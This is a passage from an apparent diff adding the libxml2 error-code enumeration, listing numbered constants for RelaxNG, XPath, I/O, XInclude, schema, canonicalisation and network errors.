XML_RNGP_GROUP_ATTR_CONFLICT, /* 1040 */ + XML_RNGP_HREF_ERROR, /* 1041 */ + XML_RNGP_INCLUDE_EMPTY, /* 1042 */ + XML_RNGP_INCLUDE_FAILURE, /* 1043 */ + XML_RNGP_INCLUDE_RECURSE, /* 1044 */ + XML_RNGP_INTERLEAVE_ADD, /* 1045 */ + XML_RNGP_INTERLEAVE_CREATE_FAILED, /* 1046 */ + XML_RNGP_INTERLEAVE_EMPTY, /* 1047 */ + XML_RNGP_INTERLEAVE_NO_CONTENT, /* 1048 */ + XML_RNGP_INVALID_DEFINE_NAME, /* 1049 */ + XML_RNGP_INVALID_URI, /* 1050 */ + XML_RNGP_INVALID_VALUE, /* 1051 */ + XML_RNGP_MISSING_HREF, /* 1052 */ + XML_RNGP_NAME_MISSING, /* 1053 */ + XML_RNGP_NEED_COMBINE, /* 1054 */ + XML_RNGP_NOTALLOWED_NOT_EMPTY, /* 1055 */ + XML_RNGP_NSNAME_ATTR_ANCESTOR, /* 1056 */ + XML_RNGP_NSNAME_NO_NS, /* 1057 */ + XML_RNGP_PARAM_FORBIDDEN, /* 1058 */ + XML_RNGP_PARAM_NAME_MISSING, /* 1059 */ + XML_RNGP_PARENTREF_CREATE_FAILED, /* 1060 */ + XML_RNGP_PARENTREF_NAME_INVALID, /* 1061 */ + XML_RNGP_PARENTREF_NO_NAME, /* 1062 */ + XML_RNGP_PARENTREF_NO_PARENT, /* 1063 */ + XML_RNGP_PARENTREF_NOT_EMPTY, /* 1064 */ + XML_RNGP_PARSE_ERROR, /* 1065 */ + XML_RNGP_PAT_ANYNAME_EXCEPT_ANYNAME, /* 1066 */ + XML_RNGP_PAT_ATTR_ATTR, /* 1067 */ + XML_RNGP_PAT_ATTR_ELEM, /* 1068 */ + XML_RNGP_PAT_DATA_EXCEPT_ATTR, /* 1069 */ + XML_RNGP_PAT_DATA_EXCEPT_ELEM, /* 1070 */ + XML_RNGP_PAT_DATA_EXCEPT_EMPTY, /* 1071 */ + XML_RNGP_PAT_DATA_EXCEPT_GROUP, /* 1072 */ + XML_RNGP_PAT_DATA_EXCEPT_INTERLEAVE, /* 1073 */ + XML_RNGP_PAT_DATA_EXCEPT_LIST, /* 1074 */ + XML_RNGP_PAT_DATA_EXCEPT_ONEMORE, /* 1075 */ + XML_RNGP_PAT_DATA_EXCEPT_REF, /* 1076 */ + XML_RNGP_PAT_DATA_EXCEPT_TEXT, /* 1077 */ + XML_RNGP_PAT_LIST_ATTR, /* 1078 */ + XML_RNGP_PAT_LIST_ELEM, /* 1079 */ + XML_RNGP_PAT_LIST_INTERLEAVE, /* 1080 */ + XML_RNGP_PAT_LIST_LIST, /* 1081 */ + XML_RNGP_PAT_LIST_REF, /* 1082 */ + XML_RNGP_PAT_LIST_TEXT, /* 1083 */ + XML_RNGP_PAT_NSNAME_EXCEPT_ANYNAME, /* 1084 */ + XML_RNGP_PAT_NSNAME_EXCEPT_NSNAME, /* 1085 */ + XML_RNGP_PAT_ONEMORE_GROUP_ATTR, /* 1086 */ + XML_RNGP_PAT_ONEMORE_INTERLEAVE_ATTR, /* 1087 */ + XML_RNGP_PAT_START_ATTR, /* 1088 */ + XML_RNGP_PAT_START_DATA, /* 1089 */ + XML_RNGP_PAT_START_EMPTY, /* 1090 */ + XML_RNGP_PAT_START_GROUP, /* 1091 */ + XML_RNGP_PAT_START_INTERLEAVE, /* 1092 */ + XML_RNGP_PAT_START_LIST, /* 1093 */ + XML_RNGP_PAT_START_ONEMORE, /* 1094 */ + XML_RNGP_PAT_START_TEXT, /* 1095 */ + XML_RNGP_PAT_START_VALUE, /* 1096 */ + XML_RNGP_PREFIX_UNDEFINED, /* 1097 */ + XML_RNGP_REF_CREATE_FAILED, /* 1098 */ + XML_RNGP_REF_CYCLE, /* 1099 */ + XML_RNGP_REF_NAME_INVALID, /* 1100 */ + XML_RNGP_REF_NO_DEF, /* 1101 */ + XML_RNGP_REF_NO_NAME, /* 1102 */ + XML_RNGP_REF_NOT_EMPTY, /* 1103 */ + XML_RNGP_START_CHOICE_AND_INTERLEAVE, /* 1104 */ + XML_RNGP_START_CONTENT, /* 1105 */ + XML_RNGP_START_EMPTY, /* 1106 */ + XML_RNGP_START_MISSING, /* 1107 */ + XML_RNGP_TEXT_EXPECTED, /* 1108 */ + XML_RNGP_TEXT_HAS_CHILD, /* 1109 */ + XML_RNGP_TYPE_MISSING, /* 1110 */ + XML_RNGP_TYPE_NOT_FOUND, /* 1111 */ + XML_RNGP_TYPE_VALUE, /* 1112 */ + XML_RNGP_UNKNOWN_ATTRIBUTE, /* 1113 */ + XML_RNGP_UNKNOWN_COMBINE, /* 1114 */ + XML_RNGP_UNKNOWN_CONSTRUCT, /* 1115 */ + XML_RNGP_UNKNOWN_TYPE_LIB, /* 1116 */ + XML_RNGP_URI_FRAGMENT, /* 1117 */ + XML_RNGP_URI_NOT_ABSOLUTE, /* 1118 */ + XML_RNGP_VALUE_EMPTY, /* 1119 */ + XML_RNGP_VALUE_NO_CONTENT, /* 1120 */ + XML_RNGP_XMLNS_NAME, /* 1121 */ + XML_RNGP_XML_NS, /* 1122 */ + XML_XPATH_EXPRESSION_OK = 1200, + XML_XPATH_NUMBER_ERROR, /* 1201 */ + XML_XPATH_UNFINISHED_LITERAL_ERROR, /* 1202 */ + XML_XPATH_START_LITERAL_ERROR, /* 1203 */ + XML_XPATH_VARIABLE_REF_ERROR, /* 1204 */ + XML_XPATH_UNDEF_VARIABLE_ERROR, /* 1205 */ + XML_XPATH_INVALID_PREDICATE_ERROR, /* 1206 */ + XML_XPATH_EXPR_ERROR, /* 1207 */ + XML_XPATH_UNCLOSED_ERROR, /* 1208 */ + XML_XPATH_UNKNOWN_FUNC_ERROR, /* 1209 */ + XML_XPATH_INVALID_OPERAND, /* 1210 */ + XML_XPATH_INVALID_TYPE, /* 1211 */ + XML_XPATH_INVALID_ARITY, /* 1212 */ + XML_XPATH_INVALID_CTXT_SIZE, /* 1213 */ + XML_XPATH_INVALID_CTXT_POSITION, /* 1214 */ + XML_XPATH_MEMORY_ERROR, /* 1215 */ + XML_XPTR_SYNTAX_ERROR, /* 1216 */ + XML_XPTR_RESOURCE_ERROR, /* 1217 */ + XML_XPTR_SUB_RESOURCE_ERROR, /* 1218 */ + XML_XPATH_UNDEF_PREFIX_ERROR, /* 1219 */ + XML_XPATH_ENCODING_ERROR, /* 1220 */ + XML_XPATH_INVALID_CHAR_ERROR, /* 1221 */ + XML_TREE_INVALID_HEX = 1300, + XML_TREE_INVALID_DEC, /* 1301 */ + XML_TREE_UNTERMINATED_ENTITY, /* 1302 */ + XML_TREE_NOT_UTF8, /* 1303 */ + XML_SAVE_NOT_UTF8 = 1400, + XML_SAVE_CHAR_INVALID, /* 1401 */ + XML_SAVE_NO_DOCTYPE, /* 1402 */ + XML_SAVE_UNKNOWN_ENCODING, /* 1403 */ + XML_REGEXP_COMPILE_ERROR = 1450, + XML_IO_UNKNOWN = 1500, + XML_IO_EACCES, /* 1501 */ + XML_IO_EAGAIN, /* 1502 */ + XML_IO_EBADF, /* 1503 */ + XML_IO_EBADMSG, /* 1504 */ + XML_IO_EBUSY, /* 1505 */ + XML_IO_ECANCELED, /* 1506 */ + XML_IO_ECHILD, /* 1507 */ + XML_IO_EDEADLK, /* 1508 */ + XML_IO_EDOM, /* 1509 */ + XML_IO_EEXIST, /* 1510 */ + XML_IO_EFAULT, /* 1511 */ + XML_IO_EFBIG, /* 1512 */ + XML_IO_EINPROGRESS, /* 1513 */ + XML_IO_EINTR, /* 1514 */ + XML_IO_EINVAL, /* 1515 */ + XML_IO_EIO, /* 1516 */ + XML_IO_EISDIR, /* 1517 */ + XML_IO_EMFILE, /* 1518 */ + XML_IO_EMLINK, /* 1519 */ + XML_IO_EMSGSIZE, /* 1520 */ + XML_IO_ENAMETOOLONG, /* 1521 */ + XML_IO_ENFILE, /* 1522 */ + XML_IO_ENODEV, /* 1523 */ + XML_IO_ENOENT, /* 1524 */ + XML_IO_ENOEXEC, /* 1525 */ + XML_IO_ENOLCK, /* 1526 */ + XML_IO_ENOMEM, /* 1527 */ + XML_IO_ENOSPC, /* 1528 */ + XML_IO_ENOSYS, /* 1529 */ + XML_IO_ENOTDIR, /* 1530 */ + XML_IO_ENOTEMPTY, /* 1531 */ + XML_IO_ENOTSUP, /* 1532 */ + XML_IO_ENOTTY, /* 1533 */ + XML_IO_ENXIO, /* 1534 */ + XML_IO_EPERM, /* 1535 */ + XML_IO_EPIPE, /* 1536 */ + XML_IO_ERANGE, /* 1537 */ + XML_IO_EROFS, /* 1538 */ + XML_IO_ESPIPE, /* 1539 */ + XML_IO_ESRCH, /* 1540 */ + XML_IO_ETIMEDOUT, /* 1541 */ + XML_IO_EXDEV, /* 1542 */ + XML_IO_NETWORK_ATTEMPT, /* 1543 */ + XML_IO_ENCODER, /* 1544 */ + XML_IO_FLUSH, /* 1545 */ + XML_IO_WRITE, /* 1546 */ + XML_IO_NO_INPUT, /* 1547 */ + XML_IO_BUFFER_FULL, /* 1548 */ + XML_IO_LOAD_ERROR, /* 1549 */ + XML_IO_ENOTSOCK, /* 1550 */ + XML_IO_EISCONN, /* 1551 */ + XML_IO_ECONNREFUSED, /* 1552 */ + XML_IO_ENETUNREACH, /* 1553 */ + XML_IO_EADDRINUSE, /* 1554 */ + XML_IO_EALREADY, /* 1555 */ + XML_IO_EAFNOSUPPORT, /* 1556 */ + XML_XINCLUDE_RECURSION=1600, + XML_XINCLUDE_PARSE_VALUE, /* 1601 */ + XML_XINCLUDE_ENTITY_DEF_MISMATCH, /* 1602 */ + XML_XINCLUDE_NO_HREF, /* 1603 */ + XML_XINCLUDE_NO_FALLBACK, /* 1604 */ + XML_XINCLUDE_HREF_URI, /* 1605 */ + XML_XINCLUDE_TEXT_FRAGMENT, /* 1606 */ + XML_XINCLUDE_TEXT_DOCUMENT, /* 1607 */ + XML_XINCLUDE_INVALID_CHAR, /* 1608 */ + XML_XINCLUDE_BUILD_FAILED, /* 1609 */ + XML_XINCLUDE_UNKNOWN_ENCODING, /* 1610 */ + XML_XINCLUDE_MULTIPLE_ROOT, /* 1611 */ + XML_XINCLUDE_XPTR_FAILED, /* 1612 */ + XML_XINCLUDE_XPTR_RESULT, /* 1613 */ + XML_XINCLUDE_INCLUDE_IN_INCLUDE, /* 1614 */ + XML_XINCLUDE_FALLBACKS_IN_INCLUDE, /* 1615 */ + XML_XINCLUDE_FALLBACK_NOT_IN_INCLUDE, /* 1616 */ + XML_XINCLUDE_DEPRECATED_NS, /* 1617 */ + XML_XINCLUDE_FRAGMENT_ID, /* 1618 */ + XML_CATALOG_MISSING_ATTR = 1650, + XML_CATALOG_ENTRY_BROKEN, /* 1651 */ + XML_CATALOG_PREFER_VALUE, /* 1652 */ + XML_CATALOG_NOT_CATALOG, /* 1653 */ + XML_CATALOG_RECURSION, /* 1654 */ + XML_SCHEMAP_PREFIX_UNDEFINED = 1700, + XML_SCHEMAP_ATTRFORMDEFAULT_VALUE, /* 1701 */ + XML_SCHEMAP_ATTRGRP_NONAME_NOREF, /* 1702 */ + XML_SCHEMAP_ATTR_NONAME_NOREF, /* 1703 */ + XML_SCHEMAP_COMPLEXTYPE_NONAME_NOREF, /* 1704 */ + XML_SCHEMAP_ELEMFORMDEFAULT_VALUE, /* 1705 */ + XML_SCHEMAP_ELEM_NONAME_NOREF, /* 1706 */ + XML_SCHEMAP_EXTENSION_NO_BASE, /* 1707 */ + XML_SCHEMAP_FACET_NO_VALUE, /* 1708 */ + XML_SCHEMAP_FAILED_BUILD_IMPORT, /* 1709 */ + XML_SCHEMAP_GROUP_NONAME_NOREF, /* 1710 */ + XML_SCHEMAP_IMPORT_NAMESPACE_NOT_URI, /* 1711 */ + XML_SCHEMAP_IMPORT_REDEFINE_NSNAME, /* 1712 */ + XML_SCHEMAP_IMPORT_SCHEMA_NOT_URI, /* 1713 */ + XML_SCHEMAP_INVALID_BOOLEAN, /* 1714 */ + XML_SCHEMAP_INVALID_ENUM, /* 1715 */ + XML_SCHEMAP_INVALID_FACET, /* 1716 */ + XML_SCHEMAP_INVALID_FACET_VALUE, /* 1717 */ + XML_SCHEMAP_INVALID_MAXOCCURS, /* 1718 */ + XML_SCHEMAP_INVALID_MINOCCURS, /* 1719 */ + XML_SCHEMAP_INVALID_REF_AND_SUBTYPE, /* 1720 */ + XML_SCHEMAP_INVALID_WHITE_SPACE, /* 1721 */ + XML_SCHEMAP_NOATTR_NOREF, /* 1722 */ + XML_SCHEMAP_NOTATION_NO_NAME, /* 1723 */ + XML_SCHEMAP_NOTYPE_NOREF, /* 1724 */ + XML_SCHEMAP_REF_AND_SUBTYPE, /* 1725 */ + XML_SCHEMAP_RESTRICTION_NONAME_NOREF, /* 1726 */ + XML_SCHEMAP_SIMPLETYPE_NONAME, /* 1727 */ + XML_SCHEMAP_TYPE_AND_SUBTYPE, /* 1728 */ + XML_SCHEMAP_UNKNOWN_ALL_CHILD, /* 1729 */ + XML_SCHEMAP_UNKNOWN_ANYATTRIBUTE_CHILD, /* 1730 */ + XML_SCHEMAP_UNKNOWN_ATTR_CHILD, /* 1731 */ + XML_SCHEMAP_UNKNOWN_ATTRGRP_CHILD, /* 1732 */ + XML_SCHEMAP_UNKNOWN_ATTRIBUTE_GROUP, /* 1733 */ + XML_SCHEMAP_UNKNOWN_BASE_TYPE, /* 1734 */ + XML_SCHEMAP_UNKNOWN_CHOICE_CHILD, /* 1735 */ + XML_SCHEMAP_UNKNOWN_COMPLEXCONTENT_CHILD, /* 1736 */ + XML_SCHEMAP_UNKNOWN_COMPLEXTYPE_CHILD, /* 1737 */ + XML_SCHEMAP_UNKNOWN_ELEM_CHILD, /* 1738 */ + XML_SCHEMAP_UNKNOWN_EXTENSION_CHILD, /* 1739 */ + XML_SCHEMAP_UNKNOWN_FACET_CHILD, /* 1740 */ + XML_SCHEMAP_UNKNOWN_FACET_TYPE, /* 1741 */ + XML_SCHEMAP_UNKNOWN_GROUP_CHILD, /* 1742 */ + XML_SCHEMAP_UNKNOWN_IMPORT_CHILD, /* 1743 */ + XML_SCHEMAP_UNKNOWN_LIST_CHILD, /* 1744 */ + XML_SCHEMAP_UNKNOWN_NOTATION_CHILD, /* 1745 */ + XML_SCHEMAP_UNKNOWN_PROCESSCONTENT_CHILD, /* 1746 */ + XML_SCHEMAP_UNKNOWN_REF, /* 1747 */ + XML_SCHEMAP_UNKNOWN_RESTRICTION_CHILD, /* 1748 */ + XML_SCHEMAP_UNKNOWN_SCHEMAS_CHILD, /* 1749 */ + XML_SCHEMAP_UNKNOWN_SEQUENCE_CHILD, /* 1750 */ + XML_SCHEMAP_UNKNOWN_SIMPLECONTENT_CHILD, /* 1751 */ + XML_SCHEMAP_UNKNOWN_SIMPLETYPE_CHILD, /* 1752 */ + XML_SCHEMAP_UNKNOWN_TYPE, /* 1753 */ + XML_SCHEMAP_UNKNOWN_UNION_CHILD, /* 1754 */ + XML_SCHEMAP_ELEM_DEFAULT_FIXED, /* 1755 */ + XML_SCHEMAP_REGEXP_INVALID, /* 1756 */ + XML_SCHEMAP_FAILED_LOAD, /* 1757 */ + XML_SCHEMAP_NOTHING_TO_PARSE, /* 1758 */ + XML_SCHEMAP_NOROOT, /* 1759 */ + XML_SCHEMAP_REDEFINED_GROUP, /* 1760 */ + XML_SCHEMAP_REDEFINED_TYPE, /* 1761 */ + XML_SCHEMAP_REDEFINED_ELEMENT, /* 1762 */ + XML_SCHEMAP_REDEFINED_ATTRGROUP, /* 1763 */ + XML_SCHEMAP_REDEFINED_ATTR, /* 1764 */ + XML_SCHEMAP_REDEFINED_NOTATION, /* 1765 */ + XML_SCHEMAP_FAILED_PARSE, /* 1766 */ + XML_SCHEMAP_UNKNOWN_PREFIX, /* 1767 */ + XML_SCHEMAP_DEF_AND_PREFIX, /* 1768 */ + XML_SCHEMAP_UNKNOWN_INCLUDE_CHILD, /* 1769 */ + XML_SCHEMAP_INCLUDE_SCHEMA_NOT_URI, /* 1770 */ + XML_SCHEMAP_INCLUDE_SCHEMA_NO_URI, /* 1771 */ + XML_SCHEMAP_NOT_SCHEMA, /* 1772 */ + XML_SCHEMAP_UNKNOWN_MEMBER_TYPE, /* 1773 */ + XML_SCHEMAP_INVALID_ATTR_USE, /* 1774 */ + XML_SCHEMAP_RECURSIVE, /* 1775 */ + XML_SCHEMAP_SUPERNUMEROUS_LIST_ITEM_TYPE, /* 1776 */ + XML_SCHEMAP_INVALID_ATTR_COMBINATION, /* 1777 */ + XML_SCHEMAP_INVALID_ATTR_INLINE_COMBINATION, /* 1778 */ + XML_SCHEMAP_MISSING_SIMPLETYPE_CHILD, /* 1779 */ + XML_SCHEMAP_INVALID_ATTR_NAME, /* 1780 */ + XML_SCHEMAP_REF_AND_CONTENT, /* 1781 */ + XML_SCHEMAP_CT_PROPS_CORRECT_1, /* 1782 */ + XML_SCHEMAP_CT_PROPS_CORRECT_2, /* 1783 */ + XML_SCHEMAP_CT_PROPS_CORRECT_3, /* 1784 */ + XML_SCHEMAP_CT_PROPS_CORRECT_4, /* 1785 */ + XML_SCHEMAP_CT_PROPS_CORRECT_5, /* 1786 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_1, /* 1787 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_1, /* 1788 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_2, /* 1789 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_2, /* 1790 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_3, /* 1791 */ + XML_SCHEMAP_WILDCARD_INVALID_NS_MEMBER, /* 1792 */ + XML_SCHEMAP_INTERSECTION_NOT_EXPRESSIBLE, /* 1793 */ + XML_SCHEMAP_UNION_NOT_EXPRESSIBLE, /* 1794 */ + XML_SCHEMAP_SRC_IMPORT_3_1, /* 1795 */ + XML_SCHEMAP_SRC_IMPORT_3_2, /* 1796 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_1, /* 1797 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_2, /* 1798 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_4_3, /* 1799 */ + XML_SCHEMAP_COS_CT_EXTENDS_1_3, /* 1800 */ + XML_SCHEMAV_NOROOT = 1801, + XML_SCHEMAV_UNDECLAREDELEM, /* 1802 */ + XML_SCHEMAV_NOTTOPLEVEL, /* 1803 */ + XML_SCHEMAV_MISSING, /* 1804 */ + XML_SCHEMAV_WRONGELEM, /* 1805 */ + XML_SCHEMAV_NOTYPE, /* 1806 */ + XML_SCHEMAV_NOROLLBACK, /* 1807 */ + XML_SCHEMAV_ISABSTRACT, /* 1808 */ + XML_SCHEMAV_NOTEMPTY, /* 1809 */ + XML_SCHEMAV_ELEMCONT, /* 1810 */ + XML_SCHEMAV_HAVEDEFAULT, /* 1811 */ + XML_SCHEMAV_NOTNILLABLE, /* 1812 */ + XML_SCHEMAV_EXTRACONTENT, /* 1813 */ + XML_SCHEMAV_INVALIDATTR, /* 1814 */ + XML_SCHEMAV_INVALIDELEM, /* 1815 */ + XML_SCHEMAV_NOTDETERMINIST, /* 1816 */ + XML_SCHEMAV_CONSTRUCT, /* 1817 */ + XML_SCHEMAV_INTERNAL, /* 1818 */ + XML_SCHEMAV_NOTSIMPLE, /* 1819 */ + XML_SCHEMAV_ATTRUNKNOWN, /* 1820 */ + XML_SCHEMAV_ATTRINVALID, /* 1821 */ + XML_SCHEMAV_VALUE, /* 1822 */ + XML_SCHEMAV_FACET, /* 1823 */ + XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_1, /* 1824 */ + XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_2, /* 1825 */ + XML_SCHEMAV_CVC_DATATYPE_VALID_1_2_3, /* 1826 */ + XML_SCHEMAV_CVC_TYPE_3_1_1, /* 1827 */ + XML_SCHEMAV_CVC_TYPE_3_1_2, /* 1828 */ + XML_SCHEMAV_CVC_FACET_VALID, /* 1829 */ + XML_SCHEMAV_CVC_LENGTH_VALID, /* 1830 */ + XML_SCHEMAV_CVC_MINLENGTH_VALID, /* 1831 */ + XML_SCHEMAV_CVC_MAXLENGTH_VALID, /* 1832 */ + XML_SCHEMAV_CVC_MININCLUSIVE_VALID, /* 1833 */ + XML_SCHEMAV_CVC_MAXINCLUSIVE_VALID, /* 1834 */ + XML_SCHEMAV_CVC_MINEXCLUSIVE_VALID, /* 1835 */ + XML_SCHEMAV_CVC_MAXEXCLUSIVE_VALID, /* 1836 */ + XML_SCHEMAV_CVC_TOTALDIGITS_VALID, /* 1837 */ + XML_SCHEMAV_CVC_FRACTIONDIGITS_VALID, /* 1838 */ + XML_SCHEMAV_CVC_PATTERN_VALID, /* 1839 */ + XML_SCHEMAV_CVC_ENUMERATION_VALID, /* 1840 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_2_1, /* 1841 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_2_2, /* 1842 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_2_3, /* 1843 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_2_4, /* 1844 */ + XML_SCHEMAV_CVC_ELT_1, /* 1845 */ + XML_SCHEMAV_CVC_ELT_2, /* 1846 */ + XML_SCHEMAV_CVC_ELT_3_1, /* 1847 */ + XML_SCHEMAV_CVC_ELT_3_2_1, /* 1848 */ + XML_SCHEMAV_CVC_ELT_3_2_2, /* 1849 */ + XML_SCHEMAV_CVC_ELT_4_1, /* 1850 */ + XML_SCHEMAV_CVC_ELT_4_2, /* 1851 */ + XML_SCHEMAV_CVC_ELT_4_3, /* 1852 */ + XML_SCHEMAV_CVC_ELT_5_1_1, /* 1853 */ + XML_SCHEMAV_CVC_ELT_5_1_2, /* 1854 */ + XML_SCHEMAV_CVC_ELT_5_2_1, /* 1855 */ + XML_SCHEMAV_CVC_ELT_5_2_2_1, /* 1856 */ + XML_SCHEMAV_CVC_ELT_5_2_2_2_1, /* 1857 */ + XML_SCHEMAV_CVC_ELT_5_2_2_2_2, /* 1858 */ + XML_SCHEMAV_CVC_ELT_6, /* 1859 */ + XML_SCHEMAV_CVC_ELT_7, /* 1860 */ + XML_SCHEMAV_CVC_ATTRIBUTE_1, /* 1861 */ + XML_SCHEMAV_CVC_ATTRIBUTE_2, /* 1862 */ + XML_SCHEMAV_CVC_ATTRIBUTE_3, /* 1863 */ + XML_SCHEMAV_CVC_ATTRIBUTE_4, /* 1864 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_3_1, /* 1865 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_3_2_1, /* 1866 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_3_2_2, /* 1867 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_4, /* 1868 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_5_1, /* 1869 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_5_2, /* 1870 */ + XML_SCHEMAV_ELEMENT_CONTENT, /* 1871 */ + XML_SCHEMAV_DOCUMENT_ELEMENT_MISSING, /* 1872 */ + XML_SCHEMAV_CVC_COMPLEX_TYPE_1, /* 1873 */ + XML_SCHEMAV_CVC_AU, /* 1874 */ + XML_SCHEMAV_CVC_TYPE_1, /* 1875 */ + XML_SCHEMAV_CVC_TYPE_2, /* 1876 */ + XML_SCHEMAV_CVC_IDC, /* 1877 */ + XML_SCHEMAV_CVC_WILDCARD, /* 1878 */ + XML_SCHEMAV_MISC, /* 1879 */ + XML_XPTR_UNKNOWN_SCHEME = 1900, + XML_XPTR_CHILDSEQ_START, /* 1901 */ + XML_XPTR_EVAL_FAILED, /* 1902 */ + XML_XPTR_EXTRA_OBJECTS, /* 1903 */ + XML_C14N_CREATE_CTXT = 1950, + XML_C14N_REQUIRES_UTF8, /* 1951 */ + XML_C14N_CREATE_STACK, /* 1952 */ + XML_C14N_INVALID_NODE, /* 1953 */ + XML_C14N_UNKNOW_NODE, /* 1954 */ + XML_C14N_RELATIVE_NAMESPACE, /* 1955 */ + XML_FTP_PASV_ANSWER = 2000, + XML_FTP_EPSV_ANSWER, /* 2001 */ + XML_FTP_ACCNT, /* 2002 */ + XML_FTP_URL_SYNTAX, /* 2003 */ + XML_HTTP_URL_SYNTAX = 2020, + XML_HTTP_USE_IP, /* 2021 */ + XML_HTTP_UNKNOWN_HOST, /* 2022 */ + XML_SCHEMAP_SRC_SIMPLE_TYPE_1 = 3000, + XML_SCHEMAP_SRC_SIMPLE_TYPE_2, /* 3001 */ + XML_SCHEMAP_SRC_SIMPLE_TYPE_3, /* 3002 */ + XML_SCHEMAP_SRC_SIMPLE_TYPE_4, /* 3003 */ + XML_SCHEMAP_SRC_RESOLVE, /* 3004 */ + XML_SCHEMAP_SRC_RESTRICTION_BASE_OR_SIMPLETYPE, /* 3005 */ + XML_SCHEMAP_SRC_LIST_ITEMTYPE_OR_SIMPLETYPE, /* 3006 */ + XML_SCHEMAP_SRC_UNION_MEMBERTYPES_OR_SIMPLETYPES, /* 3007 */ + XML_SCHEMAP_ST_PROPS_CORRECT_1, /* 3008 */ + XML_SCHEMAP_ST_PROPS_CORRECT_2, /* 3009 */ + XML_SCHEMAP_ST_PROPS_CORRECT_3, /* 3010 */ + XML_SCHEMAP_COS_ST_RESTRICTS_1_1, /* 3011 */ + XML_SCHEMAP_COS_ST_RESTRICTS_1_2, /* 3012 */ + XML_SCHEMAP_COS_ST_RESTRICTS_1_3_1, /* 3013 */ + XML_SCHEMAP_COS_ST_RESTRICTS_1_3_2, /* 3014 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_1, /* 3015 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_3_1_1, /* 3016 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_3_1_2, /* 3017 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_1, /* 3018 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_2, /* 3019 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_3, /* 3020 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_4, /* 3021 */ + XML_SCHEMAP_COS_ST_RESTRICTS_2_3_2_5, /* 3022 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_1, /* 3023 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_3_1, /* 3024 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_3_1_2, /* 3025 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_2, /* 3026 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_1, /* 3027 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_3, /* 3028 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_4, /* 3029 */ + XML_SCHEMAP_COS_ST_RESTRICTS_3_3_2_5, /* 3030 */ + XML_SCHEMAP_COS_ST_DERIVED_OK_2_1, /* 3031 */ + XML_SCHEMAP_COS_ST_DERIVED_OK_2_2, /* 3032 */ + XML_SCHEMAP_S4S_ELEM_NOT_ALLOWED, /* 3033 */ + XML_SCHEMAP_S4S_ELEM_MISSING, /* 3034 */ + XML_SCHEMAP_S4S_ATTR_NOT_ALLOWED, /* 3035 */ + XML_SCHEMAP_S4S_ATTR_MISSING, /* 3036 */ + XML_SCHEMAP_S4S_ATTR_INVALID_VALUE, /* 3037 */ + XML_SCHEMAP_SRC_ELEMENT_1, /* 3038 */ + XML_SCHEMAP_SRC_ELEMENT_2_1, /* 3039 */ + XML_SCHEMAP_SRC_ELEMENT_2_2, /* 3040 */ + XML_SCHEMAP_SRC_ELEMENT_3, /* 3041 */ + XML_SCHEMAP_P_PROPS_CORRECT_1, /* 3042 */ + XML_SCHEMAP_P_PROPS_CORRECT_2_1, /* 3043 */ + XML_SCHEMAP_P_PROPS_CORRECT_2_2, /* 3044 */ + XML_SCHEMAP_E_PROPS_CORRECT_2, /* 3045 */ + XML_SCHEMAP_E_PROPS_CORRECT_3, /* 3046 */ + XML_SCHEMAP_E_PROPS_CORRECT_4, /* 3047 */ + XML_SCHEMAP_E_PROPS_CORRECT_5, /* 3048 */ + XML_SCHEMAP_E_PROPS_CORRECT_6, /* 3049 */ + XML_SCHEMAP_SRC_INCLUDE, /* 3050 */ + XML_SCHEMAP_SRC_ATTRIBUTE_1, /* 3051 */ + XML_SCHEMAP_SRC_ATTRIBUTE_2, /* 3052 */ + XML_SCHEMAP_SRC_ATTRIBUTE_3_1, /* 3053 */ + XML_SCHEMAP_SRC_ATTRIBUTE_3_2, /* 3054 */ + XML_SCHEMAP_SRC_ATTRIBUTE_4, /* 3055 */ + XML_SCHEMAP_NO_XMLNS, /* 3056 */ + XML_SCHEMAP_NO_XSI, /* 3057 */ + XML_SCHEMAP_COS_VALID_DEFAULT_1, /* 3058 */ + XML_SCHEMAP_COS_VALID_DEFAULT_2_1, /* 3059 */ + XML_SCHEMAP_COS_VALID_DEFAULT_2_2_1, /* 3060 */ + XML_SCHEMAP_COS_VALID_DEFAULT_2_2_2, /* 3061 */ + XML_SCHEMAP_CVC_SIMPLE_TYPE, /* 3062 */ + XML_SCHEMAP_COS_CT_EXTENDS_1_1, /* 3063 */ + XML_SCHEMAP_SRC_IMPORT_1_1, /* 3064 */ + XML_SCHEMAP_SRC_IMPORT_1_2, /* 3065 */ + XML_SCHEMAP_SRC_IMPORT_2, /* 3066 */ + XML_SCHEMAP_SRC_IMPORT_2_1, /* 3067 */ + XML_SCHEMAP_SRC_IMPORT_2_2, /* 3068 */ + XML_SCHEMAP_INTERNAL, /* 3069 non-W3C */ + XML_SCHEMAP_NOT_DETERMINISTIC, /* 3070 